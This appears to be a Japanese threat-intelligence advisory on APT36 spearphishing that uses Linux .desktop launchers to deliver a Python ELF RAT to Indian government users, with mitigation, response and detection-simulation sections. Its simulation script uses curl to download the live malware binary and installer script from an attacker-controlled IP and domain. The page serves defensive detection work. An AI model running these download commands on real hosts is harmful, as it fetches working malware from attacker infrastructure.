SOC Prime Bias: クリティカル

04 Dec 2025 15:28 UTC

APT36、インド政府機関に対してPython ELFマルウェアを配備

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
APT36、インド政府機関に対してPython ELFマルウェアを配備
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

APT36(トランスペアレントトライブ)は、インド政府のユーザーに対して悪意のあるLinux .desktopショートカットファイルを配布するスピアフィッシングキャンペーンを行いました。これらのランチャーは、攻撃者が制御するサーバーからPythonベースのELF RATであるswcbcを取得および実行します。このマルウェアは、ユーザーレベルのsystemdサービスを通じて永続性を維持し、HTTPを介してC2と通信してデータを抽出し、コマンドを実行します。このキャンペーンは、Linux環境で効果的に運用するグループの能力が向上していることを強調しています。

調査

調査では、最初の.zip添付ファイルから.desktopランチャー、デコイPDF、および攻撃者が制御するIPアドレスからダウンロードされた2つのペイロード(swcbc ELFバイナリおよびswcbc.shスクリプト)へのチェーンを追跡しました。分析の結果、ELFバイナリはPyInstallerでパックされたPython RATであり、システムのプロファイリング、ファイルのアップロード/ダウンロード、スクリーンキャプチャ、自己削除の機能を備えていることが示されました。永続性は、ユーザーの構成ディレクトリ内にsystemdサービスを登録することによって実装されます。

緩和策

推奨される防御策には、メールで受信した.desktop、.sh、およびELFバイナリの実行をブロックし、疑わしい添付ファイルのサンドボックス実行を強制することが含まれます。/tmpのようなワールドライト可能なパスからの自動実行を無効にし、可能な場合はnoexecマウントオプションを適用します。特定された悪意のあるドメインおよびIPへの接続について、DNSおよびHTTPトラフィックを監視します。curlやLibreOfficeのようなツールに厳格なアプリケーション制御を適用します。

対応

活動が検出された場合は、影響を受けたLinuxホストを分離し、悪意のあるアーティファクトやsystemdサービスユニットを収集し、隠しディレクトリ~/.swcbcを削除します。フォレンジックツールを使用してホストのユニークな識別子を抽出し、進行中のC2セッションを終了します。観測されたIOCで検出内容を更新し、広範囲の環境で同様のパターンを積極的に狩り出します。

攻撃の流れ

シミュレーション実行

前提条件:Telemetry & Baseline Pre‑flight Checkを通過している必要があります。

合理:このセクションは、検出ルールをトリガーするように設計された敵対者の技術(TTP)の正確な実行を詳述します。コマンドと物語は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を招きます。

  • 攻撃の物語とコマンド:
    APT‑36のオペレーターは、侵害されたインフラストラクチャ上に3つのペイロードをホスティングし、それらのURLをフィッシングメールで配布します。被害者は、企業プロキシを経由するように設定されたウェブブラウザーを使用して各リンクをクリックします。プロキシは各GETリクエストをログに記録し、ルールに一致するエントリを生成します url|all リスト。ペイロードは以下の通りです:

    1. 生のELFバイナリ (swcbc) HTTPで配信される。
    2. シェルスクリプト (swcbc.sh) 実行するとELFをインストールします。
    3. デコイPDF (Analysis_Proc_Report_Gem.pdf) ユーザーがファイルを開くことを促すために設計され、悪意のあるELFがバックグラウンドで実行されます。
  • 回帰テストスクリプト:

    #!/usr/bin/env bash
    # APT‑36悪意のあるURLダウンロードシミュレーション – Sigmaルールをトリガーします。
    set -euo pipefail
    
    # 悪意のあるURLを定義します(Sigmaルールからの正確な文字列)
    urls=(
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc"
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh"
        "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf"
    )
    
    # 企業プロキシを通じて各ペイロードをダウンロードします。
    # 環境変数http_proxy/https_proxyがプロキシを指していると仮定します。
    for u in "${urls[@]}"; do
        echo "[*] $u をプロキシ経由でダウンロード中..."
        curl -s -O "$u"
    done
    
    echo "[+] すべての悪意のあるファイルがダウンロードされました。プロキシログで一致するURLを確認してください。"

    スクリプトを apt36_simulation.shとして保存し、実行可能にします (chmod +x apt36_simulation.sh)、保護されたワークステーションで実行します。

  • クリーンアップコマンド:

    #!/usr/bin/env bash
    # シミュレーションによって作成されたすべてのファイルを削除します
    rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf
    echo "[+] クリーンアップ完了。"